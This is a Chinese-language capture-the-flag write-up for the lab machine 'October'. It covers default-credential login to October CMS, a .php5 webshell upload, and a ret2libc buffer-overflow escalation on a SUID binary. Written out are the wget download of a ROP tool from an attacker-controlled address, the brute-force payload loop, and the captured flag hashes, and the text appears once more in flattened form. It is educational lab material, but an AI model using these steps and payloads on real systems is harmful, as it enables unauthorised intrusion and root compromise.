[Meachines] [Medium] October October-CMS+BOF-ROP链自动化工具与权限提升
字数 1330 2025-08-20 18:18:16

October CMS 漏洞利用与权限提升技术分析

1. 信息收集阶段

1.1 初始扫描

目标系统信息:

  • IP地址: 10.10.10.16
  • 开放端口:
    • TCP 22 (SSH): OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8
    • TCP 80 (HTTP): Apache httpd 2.4.7 (Ubuntu)

NMAP扫描命令:

nmap -p- 10.10.10.16 --min-rate 1000 -sC -sV

1.2 Web应用识别

  • HTTP标题: October CMS - Vanilla
  • 潜在风险方法: PUT, PATCH, DELETE
  • 管理后台登录地址: http://10.10.10.16/backend/backend/auth/signin
  • 默认凭据: username:admin / password:admin

2. Web应用漏洞利用

2.1 文件上传绕过

  • 媒体上传路径: http://10.10.10.16/backend/cms/media
  • 绕过方法: 上传.php5后缀文件
  • Webshell访问路径: http://10.10.10.16/storage/app/media/p0wny.php5
  • 获取user.txt: 2e2e813cc41a0812857cb7e7cdb5daa3

3. 权限提升分析

3.1 SUID文件查找

find / -perm -4000 -type f 2>/dev/null

发现可疑二进制文件: /usr/local/bin/ovrflw

3.2 二进制安全分析

使用GDB检查安全机制:

gdb -q ./ovrflw
checksec

安全机制状态:

  • CANARY: disabled (增加栈溢出攻击风险)
  • FORTIFY: disabled (增加缓冲区溢出攻击风险)
  • NX: ENABLED (数据段不可执行,降低shellcode执行风险)
  • PIE: disabled (增加代码重用攻击风险)
  • RELRO: Partial (部分内存重定位保护)

ASLR状态检查:

cat /proc/sys/kernel/randomize_va_space

输出为2,表示完全地址空间布局随机化(ASLR)已启用

4. 缓冲区溢出漏洞利用

4.1 偏移量确定

  1. 创建模式字符串:
gdb-peda$ pattern_create 1000
  1. 运行程序并触发崩溃:
gdb-peda$ run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA
$$
A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x'
  1. 确定偏移量:
gdb-peda$ pattern_offset AA8A

结果为112字节

4.2 ROP链自动化构造

  1. 下载ROP工具:
wget http://10.10.16.17/rops.sh; chmod +x rops.sh
  1. 运行ROP生成器:
./rops.sh /usr/local/bin/ovrflw

工具来源: https://github.com/MartinxMax/ROPS

4.3 利用ASLR的ROP攻击

由于ASLR启用,需要多次尝试:

while true; do /usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\x83\x63\xb7" + "\x60\xb2\x62\xb7" + "\xac\xab\x75\xb7"'); done

5. 最终成果

成功获取root权限并读取root.txt:
85319abefab83f503bc66023fa1c3e42

6. 关键要点总结

  1. 信息收集:全面扫描和识别系统服务是渗透测试的基础
  2. 默认凭据:始终尝试默认/弱凭据,特别是管理后台
  3. 文件上传绕过:尝试非常规后缀(.php5)绕过过滤
  4. 二进制分析:检查安全机制状态指导攻击策略
  5. ROP利用:NX启用时,ROP是绕过数据执行保护的有效方法
  6. ASLR应对:通过循环尝试解决地址随机化问题

7. 防御建议

  1. 禁用或修改默认管理凭据
  2. 加强文件上传过滤,不仅检查后缀还要验证内容
  3. 编译时启用所有安全机制(CANARY, FORTIFY, PIE等)
  4. 保持系统和应用更新
  5. 最小化SUID二进制文件数量
  6. 考虑使用更高强度的ASLR实现
October CMS 漏洞利用与权限提升技术分析 1. 信息收集阶段 1.1 初始扫描 目标系统信息: IP地址: 10.10.10.16 开放端口: TCP 22 (SSH): OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 TCP 80 (HTTP): Apache httpd 2.4.7 (Ubuntu) NMAP扫描命令: 1.2 Web应用识别 HTTP标题: October CMS - Vanilla 潜在风险方法: PUT, PATCH, DELETE 管理后台登录地址: http://10.10.10.16/backend/backend/auth/signin 默认凭据: username:admin / password:admin 2. Web应用漏洞利用 2.1 文件上传绕过 媒体上传路径: http://10.10.10.16/backend/cms/media 绕过方法: 上传.php5后缀文件 Webshell访问路径: http://10.10.10.16/storage/app/media/p0wny.php5 获取user.txt: 2e2e813cc41a0812857cb7e7cdb5daa3 3. 权限提升分析 3.1 SUID文件查找 发现可疑二进制文件: /usr/local/bin/ovrflw 3.2 二进制安全分析 使用GDB检查安全机制: 安全机制状态: CANARY: disabled (增加栈溢出攻击风险) FORTIFY: disabled (增加缓冲区溢出攻击风险) NX: ENABLED (数据段不可执行,降低shellcode执行风险) PIE: disabled (增加代码重用攻击风险) RELRO: Partial (部分内存重定位保护) ASLR状态检查: 输出为2,表示完全地址空间布局随机化(ASLR)已启用 4. 缓冲区溢出漏洞利用 4.1 偏移量确定 创建模式字符串: 运行程序并触发崩溃: 确定偏移量: 结果为112字节 4.2 ROP链自动化构造 下载ROP工具: 运行ROP生成器: 工具来源: https://github.com/MartinxMax/ROPS 4.3 利用ASLR的ROP攻击 由于ASLR启用,需要多次尝试: 5. 最终成果 成功获取root权限并读取root.txt: 85319abefab83f503bc66023fa1c3e42 6. 关键要点总结 信息收集 :全面扫描和识别系统服务是渗透测试的基础 默认凭据 :始终尝试默认/弱凭据,特别是管理后台 文件上传绕过 :尝试非常规后缀(.php5)绕过过滤 二进制分析 :检查安全机制状态指导攻击策略 ROP利用 :NX启用时,ROP是绕过数据执行保护的有效方法 ASLR应对 :通过循环尝试解决地址随机化问题 7. 防御建议 禁用或修改默认管理凭据 加强文件上传过滤,不仅检查后缀还要验证内容 编译时启用所有安全机制(CANARY, FORTIFY, PIE等) 保持系统和应用更新 最小化SUID二进制文件数量 考虑使用更高强度的ASLR实现